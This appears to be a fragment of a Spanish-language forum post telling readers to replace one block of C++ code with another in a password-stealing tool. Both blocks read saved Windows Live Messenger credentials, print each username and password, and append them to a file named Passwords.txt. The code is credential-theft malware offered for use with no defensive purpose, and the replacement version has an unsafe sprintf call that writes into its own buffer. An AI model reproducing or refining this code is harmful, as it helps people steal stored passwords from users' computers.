Reemplazar
Por:
Código [Seleccionar]
ofstream log("Passwords.txt", ios::app);
printf("<-- Windows Live Messenger -->\n");
printf("Username : %s\n", CredentialCollection[i]->TargetName);
printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
log << "<-- Windows Live Messenger -->\n";
log << "Username: " << CredentialCollection[i]->TargetName << "\n";
log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;
Por:
Código [Seleccionar]
printf("<-- Windows Live Messenger -->\n");
printf("Username : %s\n", CredentialCollection[i]->TargetName);
printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
char texto[512]; sprintf(texto,"<-- Windows Live Messenger -->\n");
sprintf(texto,"%sUsername : %s\n", texto,CredentialCollection[i]->TargetName);
sprintf(texto,"%sPassword : %ws\n\n", texto,CredentialCollection[i]->CredentialBlob);
FILE *file;
file=fopen("./Passwords.txt","a");
fputs(texto,file);
fclose(file);